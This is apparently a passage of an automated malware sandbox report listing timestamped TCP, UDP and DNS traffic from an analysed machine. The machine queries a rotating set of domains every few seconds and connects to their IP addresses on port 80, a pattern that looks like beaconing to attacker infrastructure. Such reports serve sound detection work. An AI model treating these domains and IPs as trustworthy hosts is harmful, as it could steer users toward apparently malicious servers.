Aug 5, 2024 15:33:16.009929895 CEST	80	55429	216.83.33.140	192.168.2.4
Aug 5, 2024 15:33:16.009982109 CEST	80	55429	216.83.33.140	192.168.2.4
Aug 5, 2024 15:33:16.010010004 CEST	80	55429	216.83.33.140	192.168.2.4
Aug 5, 2024 15:33:16.010036945 CEST	80	55429	216.83.33.140	192.168.2.4
Aug 5, 2024 15:33:16.010200977 CEST	80	55429	216.83.33.140	192.168.2.4
Aug 5, 2024 15:33:16.010229111 CEST	80	55429	216.83.33.140	192.168.2.4
Aug 5, 2024 15:33:16.010550022 CEST	80	55429	216.83.33.140	192.168.2.4
Aug 5, 2024 15:33:16.010951996 CEST	80	55429	216.83.33.140	192.168.2.4
Aug 5, 2024 15:33:16.886800051 CEST	80	55429	216.83.33.140	192.168.2.4
Aug 5, 2024 15:33:16.945127964 CEST	55429	80	192.168.2.4	216.83.33.140
Aug 5, 2024 15:33:17.105011940 CEST	80	55429	216.83.33.140	192.168.2.4
Aug 5, 2024 15:33:17.105094910 CEST	55429	80	192.168.2.4	216.83.33.140
Aug 5, 2024 15:33:17.507826090 CEST	55429	80	192.168.2.4	216.83.33.140
Aug 5, 2024 15:33:18.526972055 CEST	55430	80	192.168.2.4	216.83.33.140
Aug 5, 2024 15:33:18.532115936 CEST	80	55430	216.83.33.140	192.168.2.4
Aug 5, 2024 15:33:18.532273054 CEST	55430	80	192.168.2.4	216.83.33.140
Aug 5, 2024 15:33:18.534984112 CEST	55430	80	192.168.2.4	216.83.33.140
Aug 5, 2024 15:33:18.541922092 CEST	80	55430	216.83.33.140	192.168.2.4
Aug 5, 2024 15:33:19.469336033 CEST	80	55430	216.83.33.140	192.168.2.4
Aug 5, 2024 15:33:19.469638109 CEST	80	55430	216.83.33.140	192.168.2.4
Aug 5, 2024 15:33:19.469696999 CEST	55430	80	192.168.2.4	216.83.33.140
Aug 5, 2024 15:33:19.472385883 CEST	55430	80	192.168.2.4	216.83.33.140
Aug 5, 2024 15:33:19.477415085 CEST	80	55430	216.83.33.140	192.168.2.4
Aug 5, 2024 15:33:25.206986904 CEST	55431	80	192.168.2.4	35.241.42.217
Aug 5, 2024 15:33:25.211932898 CEST	80	55431	35.241.42.217	192.168.2.4
Aug 5, 2024 15:33:25.213129044 CEST	55431	80	192.168.2.4	35.241.42.217
Aug 5, 2024 15:33:25.219007015 CEST	55431	80	192.168.2.4	35.241.42.217
Aug 5, 2024 15:33:25.224545002 CEST	80	55431	35.241.42.217	192.168.2.4
Aug 5, 2024 15:33:25.855170012 CEST	80	55431	35.241.42.217	192.168.2.4
Aug 5, 2024 15:33:25.855607033 CEST	80	55431	35.241.42.217	192.168.2.4
Aug 5, 2024 15:33:25.855659008 CEST	55431	80	192.168.2.4	35.241.42.217
Aug 5, 2024 15:33:26.726540089 CEST	55431	80	192.168.2.4	35.241.42.217
Aug 5, 2024 15:33:27.745717049 CEST	55432	80	192.168.2.4	35.241.42.217
Aug 5, 2024 15:33:27.750750065 CEST	80	55432	35.241.42.217	192.168.2.4
Aug 5, 2024 15:33:27.750853062 CEST	55432	80	192.168.2.4	35.241.42.217
Aug 5, 2024 15:33:27.752913952 CEST	55432	80	192.168.2.4	35.241.42.217
Aug 5, 2024 15:33:27.757917881 CEST	80	55432	35.241.42.217	192.168.2.4
Aug 5, 2024 15:33:28.385828972 CEST	80	55432	35.241.42.217	192.168.2.4
Aug 5, 2024 15:33:28.389327049 CEST	80	55432	35.241.42.217	192.168.2.4
Aug 5, 2024 15:33:28.389389992 CEST	55432	80	192.168.2.4	35.241.42.217
Aug 5, 2024 15:33:28.389445066 CEST	80	55432	35.241.42.217	192.168.2.4
Aug 5, 2024 15:33:28.389493942 CEST	55432	80	192.168.2.4	35.241.42.217
Aug 5, 2024 15:33:29.257623911 CEST	55432	80	192.168.2.4	35.241.42.217
Aug 5, 2024 15:33:30.278215885 CEST	55433	80	192.168.2.4	35.241.42.217
Aug 5, 2024 15:33:30.283307076 CEST	80	55433	35.241.42.217	192.168.2.4
Aug 5, 2024 15:33:30.283436060 CEST	55433	80	192.168.2.4	35.241.42.217
Aug 5, 2024 15:33:30.286026955 CEST	55433	80	192.168.2.4	35.241.42.217
Aug 5, 2024 15:33:30.291016102 CEST	80	55433	35.241.42.217	192.168.2.4
Aug 5, 2024 15:33:30.291027069 CEST	80	55433	35.241.42.217	192.168.2.4
Aug 5, 2024 15:33:30.291045904 CEST	80	55433	35.241.42.217	192.168.2.4
Aug 5, 2024 15:33:30.291054964 CEST	80	55433	35.241.42.217	192.168.2.4
Aug 5, 2024 15:33:30.291126966 CEST	80	55433	35.241.42.217	192.168.2.4
Aug 5, 2024 15:33:30.291136026 CEST	80	55433	35.241.42.217	192.168.2.4
Aug 5, 2024 15:33:30.291179895 CEST	80	55433	35.241.42.217	192.168.2.4
Aug 5, 2024 15:33:30.291227102 CEST	80	55433	35.241.42.217	192.168.2.4
Aug 5, 2024 15:33:30.291238070 CEST	80	55433	35.241.42.217	192.168.2.4
Aug 5, 2024 15:33:30.938205957 CEST	80	55433	35.241.42.217	192.168.2.4
Aug 5, 2024 15:33:30.939831972 CEST	80	55433	35.241.42.217	192.168.2.4
Aug 5, 2024 15:33:30.939898014 CEST	80	55433	35.241.42.217	192.168.2.4
Aug 5, 2024 15:33:30.940025091 CEST	55433	80	192.168.2.4	35.241.42.217
Aug 5, 2024 15:33:31.789715052 CEST	55433	80	192.168.2.4	35.241.42.217
Aug 5, 2024 15:33:32.808372021 CEST	55434	80	192.168.2.4	35.241.42.217
Aug 5, 2024 15:33:32.814057112 CEST	80	55434	35.241.42.217	192.168.2.4
Aug 5, 2024 15:33:32.814224005 CEST	55434	80	192.168.2.4	35.241.42.217
Aug 5, 2024 15:33:32.819037914 CEST	55434	80	192.168.2.4	35.241.42.217
Aug 5, 2024 15:33:32.823893070 CEST	80	55434	35.241.42.217	192.168.2.4
Aug 5, 2024 15:33:33.467585087 CEST	80	55434	35.241.42.217	192.168.2.4
Aug 5, 2024 15:33:33.481019974 CEST	80	55434	35.241.42.217	192.168.2.4
Aug 5, 2024 15:33:33.481041908 CEST	80	55434	35.241.42.217	192.168.2.4
Aug 5, 2024 15:33:33.481056929 CEST	80	55434	35.241.42.217	192.168.2.4
Aug 5, 2024 15:33:33.481072903 CEST	80	55434	35.241.42.217	192.168.2.4
Aug 5, 2024 15:33:33.481098890 CEST	80	55434	35.241.42.217	192.168.2.4
Aug 5, 2024 15:33:33.481112003 CEST	55434	80	192.168.2.4	35.241.42.217
Aug 5, 2024 15:33:33.481116056 CEST	80	55434	35.241.42.217	192.168.2.4
Aug 5, 2024 15:33:33.481206894 CEST	55434	80	192.168.2.4	35.241.42.217
Aug 5, 2024 15:33:33.481206894 CEST	55434	80	192.168.2.4	35.241.42.217
Aug 5, 2024 15:33:33.486529112 CEST	55434	80	192.168.2.4	35.241.42.217
Aug 5, 2024 15:33:33.491373062 CEST	80	55434	35.241.42.217	192.168.2.4
Aug 5, 2024 15:33:38.515295029 CEST	55435	80	192.168.2.4	76.223.67.189
Aug 5, 2024 15:33:38.520200014 CEST	80	55435	76.223.67.189	192.168.2.4
Aug 5, 2024 15:33:38.521332026 CEST	55435	80	192.168.2.4	76.223.67.189
Aug 5, 2024 15:33:38.524996042 CEST	55435	80	192.168.2.4	76.223.67.189
Aug 5, 2024 15:33:38.530277014 CEST	80	55435	76.223.67.189	192.168.2.4
Aug 5, 2024 15:33:38.983196020 CEST	80	55435	76.223.67.189	192.168.2.4
Aug 5, 2024 15:33:38.983278990 CEST	55435	80	192.168.2.4	76.223.67.189
Aug 5, 2024 15:33:40.038867950 CEST	55435	80	192.168.2.4	76.223.67.189
Aug 5, 2024 15:33:40.276690960 CEST	80	55435	76.223.67.189	192.168.2.4
Aug 5, 2024 15:33:41.059062958 CEST	55436	80	192.168.2.4	76.223.67.189
Aug 5, 2024 15:33:41.064434052 CEST	80	55436	76.223.67.189	192.168.2.4
Aug 5, 2024 15:33:41.065120935 CEST	55436	80	192.168.2.4	76.223.67.189
Aug 5, 2024 15:33:41.071110010 CEST	55436	80	192.168.2.4	76.223.67.189
Aug 5, 2024 15:33:41.076019049 CEST	80	55436	76.223.67.189	192.168.2.4
Aug 5, 2024 15:33:41.525732994 CEST	80	55436	76.223.67.189	192.168.2.4
Aug 5, 2024 15:33:41.525809050 CEST	55436	80	192.168.2.4	76.223.67.189
Aug 5, 2024 15:33:42.571044922 CEST	55436	80	192.168.2.4	76.223.67.189
Aug 5, 2024 15:33:42.575922012 CEST	80	55436	76.223.67.189	192.168.2.4
Aug 5, 2024 15:33:43.589391947 CEST	55437	80	192.168.2.4	76.223.67.189
Aug 5, 2024 15:33:43.594414949 CEST	80	55437	76.223.67.189	192.168.2.4
Aug 5, 2024 15:33:43.594477892 CEST	55437	80	192.168.2.4	76.223.67.189
Aug 5, 2024 15:33:43.597143888 CEST	55437	80	192.168.2.4	76.223.67.189
Aug 5, 2024 15:33:43.601949930 CEST	80	55437	76.223.67.189	192.168.2.4
Aug 5, 2024 15:33:43.601970911 CEST	80	55437	76.223.67.189	192.168.2.4
Aug 5, 2024 15:33:43.602037907 CEST	80	55437	76.223.67.189	192.168.2.4
Aug 5, 2024 15:33:43.602047920 CEST	80	55437	76.223.67.189	192.168.2.4
Aug 5, 2024 15:33:43.602056026 CEST	80	55437	76.223.67.189	192.168.2.4
Aug 5, 2024 15:33:43.602238894 CEST	80	55437	76.223.67.189	192.168.2.4
Aug 5, 2024 15:33:43.602247953 CEST	80	55437	76.223.67.189	192.168.2.4
Aug 5, 2024 15:33:43.602258921 CEST	80	55437	76.223.67.189	192.168.2.4
Aug 5, 2024 15:33:43.602268934 CEST	80	55437	76.223.67.189	192.168.2.4
Aug 5, 2024 15:33:44.056294918 CEST	80	55437	76.223.67.189	192.168.2.4
Aug 5, 2024 15:33:44.056356907 CEST	55437	80	192.168.2.4	76.223.67.189
Aug 5, 2024 15:33:45.103028059 CEST	55437	80	192.168.2.4	76.223.67.189
Aug 5, 2024 15:33:45.109011889 CEST	80	55437	76.223.67.189	192.168.2.4
Aug 5, 2024 15:33:46.126838923 CEST	55438	80	192.168.2.4	76.223.67.189
Aug 5, 2024 15:33:46.131948948 CEST	80	55438	76.223.67.189	192.168.2.4
Aug 5, 2024 15:33:46.132033110 CEST	55438	80	192.168.2.4	76.223.67.189
Aug 5, 2024 15:33:46.133927107 CEST	55438	80	192.168.2.4	76.223.67.189
Aug 5, 2024 15:33:46.138938904 CEST	80	55438	76.223.67.189	192.168.2.4
Aug 5, 2024 15:33:46.607428074 CEST	80	55438	76.223.67.189	192.168.2.4
Aug 5, 2024 15:33:46.609989882 CEST	80	55438	76.223.67.189	192.168.2.4
Aug 5, 2024 15:33:46.610246897 CEST	55438	80	192.168.2.4	76.223.67.189
Aug 5, 2024 15:33:46.612720013 CEST	55438	80	192.168.2.4	76.223.67.189
Aug 5, 2024 15:33:46.618917942 CEST	80	55438	76.223.67.189	192.168.2.4
Aug 5, 2024 15:34:00.162719965 CEST	55439	80	192.168.2.4	116.213.43.190
Aug 5, 2024 15:34:00.168258905 CEST	80	55439	116.213.43.190	192.168.2.4
Aug 5, 2024 15:34:00.168335915 CEST	55439	80	192.168.2.4	116.213.43.190
Aug 5, 2024 15:34:00.170471907 CEST	55439	80	192.168.2.4	116.213.43.190
Aug 5, 2024 15:34:00.177793026 CEST	80	55439	116.213.43.190	192.168.2.4
Aug 5, 2024 15:34:01.680859089 CEST	55439	80	192.168.2.4	116.213.43.190
Aug 5, 2024 15:34:01.731646061 CEST	80	55439	116.213.43.190	192.168.2.4
Aug 5, 2024 15:34:02.698523045 CEST	55440	80	192.168.2.4	116.213.43.190
Aug 5, 2024 15:34:02.704071045 CEST	80	55440	116.213.43.190	192.168.2.4
Aug 5, 2024 15:34:02.707221985 CEST	55440	80	192.168.2.4	116.213.43.190
Aug 5, 2024 15:34:02.711033106 CEST	55440	80	192.168.2.4	116.213.43.190
Aug 5, 2024 15:34:02.716128111 CEST	80	55440	116.213.43.190	192.168.2.4
Aug 5, 2024 15:34:04.213660955 CEST	55440	80	192.168.2.4	116.213.43.190
Aug 5, 2024 15:34:04.263770103 CEST	80	55440	116.213.43.190	192.168.2.4
Aug 5, 2024 15:34:05.229712963 CEST	55441	80	192.168.2.4	116.213.43.190
Aug 5, 2024 15:34:05.234765053 CEST	80	55441	116.213.43.190	192.168.2.4
Aug 5, 2024 15:34:05.234997034 CEST	55441	80	192.168.2.4	116.213.43.190
Aug 5, 2024 15:34:05.237059116 CEST	55441	80	192.168.2.4	116.213.43.190
Aug 5, 2024 15:34:05.242029905 CEST	80	55441	116.213.43.190	192.168.2.4
Aug 5, 2024 15:34:05.242050886 CEST	80	55441	116.213.43.190	192.168.2.4
Aug 5, 2024 15:34:05.242880106 CEST	80	55441	116.213.43.190	192.168.2.4
Aug 5, 2024 15:34:05.242889881 CEST	80	55441	116.213.43.190	192.168.2.4
Aug 5, 2024 15:34:05.242897987 CEST	80	55441	116.213.43.190	192.168.2.4
Aug 5, 2024 15:34:05.242907047 CEST	80	55441	116.213.43.190	192.168.2.4
Aug 5, 2024 15:34:05.242914915 CEST	80	55441	116.213.43.190	192.168.2.4
Aug 5, 2024 15:34:05.242924929 CEST	80	55441	116.213.43.190	192.168.2.4
Aug 5, 2024 15:34:05.242933989 CEST	80	55441	116.213.43.190	192.168.2.4
Aug 5, 2024 15:34:06.742130041 CEST	55441	80	192.168.2.4	116.213.43.190
Aug 5, 2024 15:34:06.787885904 CEST	80	55441	116.213.43.190	192.168.2.4
Aug 5, 2024 15:34:07.761679888 CEST	55442	80	192.168.2.4	116.213.43.190
Aug 5, 2024 15:34:07.767213106 CEST	80	55442	116.213.43.190	192.168.2.4
Aug 5, 2024 15:34:07.767288923 CEST	55442	80	192.168.2.4	116.213.43.190
Aug 5, 2024 15:34:07.770054102 CEST	55442	80	192.168.2.4	116.213.43.190
Aug 5, 2024 15:34:07.774924994 CEST	80	55442	116.213.43.190	192.168.2.4
Aug 5, 2024 15:34:21.520807028 CEST	80	55439	116.213.43.190	192.168.2.4
Aug 5, 2024 15:34:21.520875931 CEST	55439	80	192.168.2.4	116.213.43.190
Aug 5, 2024 15:34:24.794507027 CEST	80	55440	116.213.43.190	192.168.2.4
Aug 5, 2024 15:34:24.794651985 CEST	55440	80	192.168.2.4	116.213.43.190
Aug 5, 2024 15:34:24.795293093 CEST	80	55440	116.213.43.190	192.168.2.4
Aug 5, 2024 15:34:24.795717001 CEST	55440	80	192.168.2.4	116.213.43.190
Aug 5, 2024 15:34:24.797950029 CEST	80	55440	116.213.43.190	192.168.2.4
Aug 5, 2024 15:34:24.801095963 CEST	55440	80	192.168.2.4	116.213.43.190
Aug 5, 2024 15:34:24.804071903 CEST	80	55440	116.213.43.190	192.168.2.4
Aug 5, 2024 15:34:24.806130886 CEST	80	55440	116.213.43.190	192.168.2.4
Aug 5, 2024 15:34:26.618369102 CEST	80	55441	116.213.43.190	192.168.2.4
Aug 5, 2024 15:34:26.619210958 CEST	55441	80	192.168.2.4	116.213.43.190
Aug 5, 2024 15:34:29.153997898 CEST	80	55442	116.213.43.190	192.168.2.4
Aug 5, 2024 15:34:29.154258013 CEST	55442	80	192.168.2.4	116.213.43.190
Aug 5, 2024 15:34:29.155030966 CEST	55442	80	192.168.2.4	116.213.43.190
Aug 5, 2024 15:34:29.159903049 CEST	80	55442	116.213.43.190	192.168.2.4
Aug 5, 2024 15:34:34.654230118 CEST	55443	80	192.168.2.4	116.213.43.190
Aug 5, 2024 15:34:34.660464048 CEST	80	55443	116.213.43.190	192.168.2.4
Aug 5, 2024 15:34:34.660579920 CEST	55443	80	192.168.2.4	116.213.43.190
Aug 5, 2024 15:34:34.662576914 CEST	55443	80	192.168.2.4	116.213.43.190
Aug 5, 2024 15:34:34.667555094 CEST	80	55443	116.213.43.190	192.168.2.4
Aug 5, 2024 15:34:36.179851055 CEST	55443	80	192.168.2.4	116.213.43.190
Aug 5, 2024 15:34:36.231822968 CEST	80	55443	116.213.43.190	192.168.2.4
Aug 5, 2024 15:34:37.199548960 CEST	55444	80	192.168.2.4	116.213.43.190
Aug 5, 2024 15:34:37.204577923 CEST	80	55444	116.213.43.190	192.168.2.4
Aug 5, 2024 15:34:37.204773903 CEST	55444	80	192.168.2.4	116.213.43.190
Aug 5, 2024 15:34:37.207216024 CEST	55444	80	192.168.2.4	116.213.43.190
Aug 5, 2024 15:34:37.212331057 CEST	80	55444	116.213.43.190	192.168.2.4
Aug 5, 2024 15:34:38.715085983 CEST	55444	80	192.168.2.4	116.213.43.190
Aug 5, 2024 15:34:38.763685942 CEST	80	55444	116.213.43.190	192.168.2.4
Aug 5, 2024 15:34:39.730070114 CEST	55445	80	192.168.2.4	116.213.43.190
Aug 5, 2024 15:34:39.736476898 CEST	80	55445	116.213.43.190	192.168.2.4
Aug 5, 2024 15:34:39.736596107 CEST	55445	80	192.168.2.4	116.213.43.190
Aug 5, 2024 15:34:39.739084959 CEST	55445	80	192.168.2.4	116.213.43.190
Aug 5, 2024 15:34:39.745563984 CEST	80	55445	116.213.43.190	192.168.2.4
Aug 5, 2024 15:34:39.745579958 CEST	80	55445	116.213.43.190	192.168.2.4
Aug 5, 2024 15:34:39.745592117 CEST	80	55445	116.213.43.190	192.168.2.4
Aug 5, 2024 15:34:39.745604038 CEST	80	55445	116.213.43.190	192.168.2.4
Aug 5, 2024 15:34:39.745676994 CEST	80	55445	116.213.43.190	192.168.2.4
Aug 5, 2024 15:34:39.745696068 CEST	80	55445	116.213.43.190	192.168.2.4
Aug 5, 2024 15:34:39.745810986 CEST	80	55445	116.213.43.190	192.168.2.4
Aug 5, 2024 15:34:39.745826006 CEST	80	55445	116.213.43.190	192.168.2.4
Aug 5, 2024 15:34:39.745837927 CEST	80	55445	116.213.43.190	192.168.2.4
Aug 5, 2024 15:34:41.642469883 CEST	55445	80	192.168.2.4	116.213.43.190
Aug 5, 2024 15:34:41.688848019 CEST	80	55445	116.213.43.190	192.168.2.4
Aug 5, 2024 15:34:42.651164055 CEST	55446	80	192.168.2.4	116.213.43.190
Aug 5, 2024 15:34:42.656857967 CEST	80	55446	116.213.43.190	192.168.2.4
Aug 5, 2024 15:34:42.657126904 CEST	55446	80	192.168.2.4	116.213.43.190
Aug 5, 2024 15:34:42.658773899 CEST	55446	80	192.168.2.4	116.213.43.190
Aug 5, 2024 15:34:42.664259911 CEST	80	55446	116.213.43.190	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 5, 2024 15:30:57.485336065 CEST	53	56016	1.1.1.1	192.168.2.4
Aug 5, 2024 15:31:16.440835953 CEST	58784	53	192.168.2.4	1.1.1.1
Aug 5, 2024 15:31:16.691775084 CEST	53	58784	1.1.1.1	192.168.2.4
Aug 5, 2024 15:31:32.244980097 CEST	57628	53	192.168.2.4	1.1.1.1
Aug 5, 2024 15:31:33.242818117 CEST	57628	53	192.168.2.4	1.1.1.1
Aug 5, 2024 15:31:34.241879940 CEST	57628	53	192.168.2.4	1.1.1.1
Aug 5, 2024 15:31:34.445352077 CEST	53	57628	1.1.1.1	192.168.2.4
Aug 5, 2024 15:31:34.445378065 CEST	53	57628	1.1.1.1	192.168.2.4
Aug 5, 2024 15:31:34.445394039 CEST	53	57628	1.1.1.1	192.168.2.4
Aug 5, 2024 15:31:48.010956049 CEST	65523	53	192.168.2.4	1.1.1.1
Aug 5, 2024 15:31:48.289633036 CEST	53	65523	1.1.1.1	192.168.2.4
Aug 5, 2024 15:32:02.089592934 CEST	53534	53	192.168.2.4	1.1.1.1
Aug 5, 2024 15:32:02.123666048 CEST	53	53534	1.1.1.1	192.168.2.4
Aug 5, 2024 15:32:16.262908936 CEST	56502	53	192.168.2.4	1.1.1.1
Aug 5, 2024 15:32:16.324610949 CEST	53	56502	1.1.1.1	192.168.2.4
Aug 5, 2024 15:32:29.605334044 CEST	56669	53	192.168.2.4	1.1.1.1
Aug 5, 2024 15:32:29.624027967 CEST	53	56669	1.1.1.1	192.168.2.4
Aug 5, 2024 15:32:43.683518887 CEST	63367	53	192.168.2.4	1.1.1.1
Aug 5, 2024 15:32:43.697736025 CEST	53	63367	1.1.1.1	192.168.2.4
Aug 5, 2024 15:32:56.935005903 CEST	50381	53	192.168.2.4	1.1.1.1
Aug 5, 2024 15:32:57.124891043 CEST	53	50381	1.1.1.1	192.168.2.4
Aug 5, 2024 15:33:10.390959024 CEST	56620	53	192.168.2.4	1.1.1.1
Aug 5, 2024 15:33:10.922528982 CEST	53	56620	1.1.1.1	192.168.2.4
Aug 5, 2024 15:33:24.485579967 CEST	62474	53	192.168.2.4	1.1.1.1
Aug 5, 2024 15:33:25.174489021 CEST	53	62474	1.1.1.1	192.168.2.4
Aug 5, 2024 15:33:38.496629953 CEST	60735	53	192.168.2.4	1.1.1.1
Aug 5, 2024 15:33:38.512896061 CEST	53	60735	1.1.1.1	192.168.2.4
Aug 5, 2024 15:33:51.622375965 CEST	54369	53	192.168.2.4	1.1.1.1
Aug 5, 2024 15:33:51.633873940 CEST	53	54369	1.1.1.1	192.168.2.4
Aug 5, 2024 15:33:59.700078964 CEST	55664	53	192.168.2.4	1.1.1.1
Aug 5, 2024 15:34:00.159919024 CEST	53	55664	1.1.1.1	192.168.2.4
Aug 5, 2024 15:34:34.168554068 CEST	64563	53	192.168.2.4	1.1.1.1
Aug 5, 2024 15:34:34.651662111 CEST	53	64563	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 5, 2024 15:31:16.440835953 CEST	192.168.2.4	1.1.1.1	0x9278	Standard query (0)	www.stemfiniti.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 15:31:32.244980097 CEST	192.168.2.4	1.1.1.1	0x6812	Standard query (0)	www.zhuan-tou.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 15:31:33.242818117 CEST	192.168.2.4	1.1.1.1	0x6812	Standard query (0)	www.zhuan-tou.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 15:31:34.241879940 CEST	192.168.2.4	1.1.1.1	0x6812	Standard query (0)	www.zhuan-tou.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 15:31:48.010956049 CEST	192.168.2.4	1.1.1.1	0xb417	Standard query (0)	www.lecoinsa.net	A (IP address)	IN (0x0001)	false
Aug 5, 2024 15:32:02.089592934 CEST	192.168.2.4	1.1.1.1	0x8c86	Standard query (0)	www.8xbe578.app	A (IP address)	IN (0x0001)	false
Aug 5, 2024 15:32:16.262908936 CEST	192.168.2.4	1.1.1.1	0xfdf1	Standard query (0)	www.synergon.space	A (IP address)	IN (0x0001)	false
Aug 5, 2024 15:32:29.605334044 CEST	192.168.2.4	1.1.1.1	0x26b6	Standard query (0)	www.alanbeanart.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 15:32:43.683518887 CEST	192.168.2.4	1.1.1.1	0x55c4	Standard query (0)	www.kacotae.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 15:32:56.935005903 CEST	192.168.2.4	1.1.1.1	0x386a	Standard query (0)	www.slushcafe.top	A (IP address)	IN (0x0001)	false
Aug 5, 2024 15:33:10.390959024 CEST	192.168.2.4	1.1.1.1	0x339f	Standard query (0)	www.a9jcpf.top	A (IP address)	IN (0x0001)	false
Aug 5, 2024 15:33:24.485579967 CEST	192.168.2.4	1.1.1.1	0x878e	Standard query (0)	www.tqfabxah.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 15:33:38.496629953 CEST	192.168.2.4	1.1.1.1	0xf78d	Standard query (0)	www.rtrpodcast.online	A (IP address)	IN (0x0001)	false
Aug 5, 2024 15:33:51.622375965 CEST	192.168.2.4	1.1.1.1	0xebf	Standard query (0)	www.winkthree.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 15:33:59.700078964 CEST	192.168.2.4	1.1.1.1	0x5bca	Standard query (0)	www.mqmsqkw.lol	A (IP address)	IN (0x0001)	false
Aug 5, 2024 15:34:34.168554068 CEST	192.168.2.4	1.1.1.1	0x7da9	Standard query (0)	www.lfghtko.lol	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 5, 2024 15:31:16.691775084 CEST	1.1.1.1	192.168.2.4	0x9278	No error (0)	www.stemfiniti.com	stemfiniti.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 15:31:16.691775084 CEST	1.1.1.1	192.168.2.4	0x9278	No error (0)	stemfiniti.com		3.33.130.190	A (IP address)	IN (0x0001)	false
Aug 5, 2024 15:31:16.691775084 CEST	1.1.1.1	192.168.2.4	0x9278	No error (0)	stemfiniti.com		15.197.148.33	A (IP address)	IN (0x0001)	false
Aug 5, 2024 15:31:34.445352077 CEST	1.1.1.1	192.168.2.4	0x6812	No error (0)	www.zhuan-tou.com		38.12.1.29	A (IP address)	IN (0x0001)	false
Aug 5, 2024 15:31:34.445378065 CEST	1.1.1.1	192.168.2.4	0x6812	No error (0)	www.zhuan-tou.com		38.12.1.29	A (IP address)	IN (0x0001)	false
Aug 5, 2024 15:31:34.445394039 CEST	1.1.1.1	192.168.2.4	0x6812	No error (0)	www.zhuan-tou.com		38.12.1.29	A (IP address)	IN (0x0001)	false
Aug 5, 2024 15:31:48.289633036 CEST	1.1.1.1	192.168.2.4	0xb417	No error (0)	www.lecoinsa.net		217.116.0.191	A (IP address)	IN (0x0001)	false
Aug 5, 2024 15:32:02.123666048 CEST	1.1.1.1	192.168.2.4	0x8c86	No error (0)	www.8xbe578.app	8xbe578.app		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 15:32:02.123666048 CEST	1.1.1.1	192.168.2.4	0x8c86	No error (0)	8xbe578.app		3.33.130.190	A (IP address)	IN (0x0001)	false
Aug 5, 2024 15:32:02.123666048 CEST	1.1.1.1	192.168.2.4	0x8c86	No error (0)	8xbe578.app		15.197.148.33	A (IP address)	IN (0x0001)	false
Aug 5, 2024 15:32:16.324610949 CEST	1.1.1.1	192.168.2.4	0xfdf1	No error (0)	www.synergon.space	synergon.space		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 15:32:16.324610949 CEST	1.1.1.1	192.168.2.4	0xfdf1	No error (0)	synergon.space		109.95.158.127	A (IP address)	IN (0x0001)	false
Aug 5, 2024 15:32:29.624027967 CEST	1.1.1.1	192.168.2.4	0x26b6	No error (0)	www.alanbeanart.com	alanbeanart.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 15:32:29.624027967 CEST	1.1.1.1	192.168.2.4	0x26b6	No error (0)	alanbeanart.com		3.33.130.190	A (IP address)	IN (0x0001)	false
Aug 5, 2024 15:32:29.624027967 CEST	1.1.1.1	192.168.2.4	0x26b6	No error (0)	alanbeanart.com		15.197.148.33	A (IP address)	IN (0x0001)	false
Aug 5, 2024 15:32:43.697736025 CEST	1.1.1.1	192.168.2.4	0x55c4	No error (0)	www.kacotae.com		64.226.69.42	A (IP address)	IN (0x0001)	false
Aug 5, 2024 15:32:57.124891043 CEST	1.1.1.1	192.168.2.4	0x386a	No error (0)	www.slushcafe.top		203.161.55.102	A (IP address)	IN (0x0001)	false
Aug 5, 2024 15:33:10.922528982 CEST	1.1.1.1	192.168.2.4	0x339f	No error (0)	www.a9jcpf.top	kmdne.ajunsdfancsda.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 15:33:10.922528982 CEST	1.1.1.1	192.168.2.4	0x339f	No error (0)	kmdne.ajunsdfancsda.com		216.83.33.140	A (IP address)	IN (0x0001)	false
Aug 5, 2024 15:33:10.922528982 CEST	1.1.1.1	192.168.2.4	0x339f	No error (0)	kmdne.ajunsdfancsda.com		216.83.33.189	A (IP address)	IN (0x0001)	false
Aug 5, 2024 15:33:10.922528982 CEST	1.1.1.1	192.168.2.4	0x339f	No error (0)	kmdne.ajunsdfancsda.com		216.83.33.143	A (IP address)	IN (0x0001)	false
Aug 5, 2024 15:33:10.922528982 CEST	1.1.1.1	192.168.2.4	0x339f	No error (0)	kmdne.ajunsdfancsda.com		216.83.33.141	A (IP address)	IN (0x0001)	false
Aug 5, 2024 15:33:10.922528982 CEST	1.1.1.1	192.168.2.4	0x339f	No error (0)	kmdne.ajunsdfancsda.com		216.83.33.145	A (IP address)	IN (0x0001)	false
Aug 5, 2024 15:33:25.174489021 CEST	1.1.1.1	192.168.2.4	0x878e	No error (0)	www.tqfabxah.com		35.241.42.217	A (IP address)	IN (0x0001)	false
Aug 5, 2024 15:33:38.512896061 CEST	1.1.1.1	192.168.2.4	0xf78d	No error (0)	www.rtrpodcast.online	rtrpodcast.online		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 15:33:38.512896061 CEST	1.1.1.1	192.168.2.4	0xf78d	No error (0)	rtrpodcast.online		76.223.67.189	A (IP address)	IN (0x0001)	false
Aug 5, 2024 15:33:38.512896061 CEST	1.1.1.1	192.168.2.4	0xf78d	No error (0)	rtrpodcast.online		13.248.213.45	A (IP address)	IN (0x0001)	false
Aug 5, 2024 15:33:51.633873940 CEST	1.1.1.1	192.168.2.4	0xebf	Name error (3)	www.winkthree.com	none	none	A (IP address)	IN (0x0001)	false
Aug 5, 2024 15:34:00.159919024 CEST	1.1.1.1	192.168.2.4	0x5bca	No error (0)	www.mqmsqkw.lol		116.213.43.190	A (IP address)	IN (0x0001)	false
Aug 5, 2024 15:34:34.651662111 CEST	1.1.1.1	192.168.2.4	0x7da9	No error (0)	www.lfghtko.lol		116.213.43.190	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.stemfiniti.com

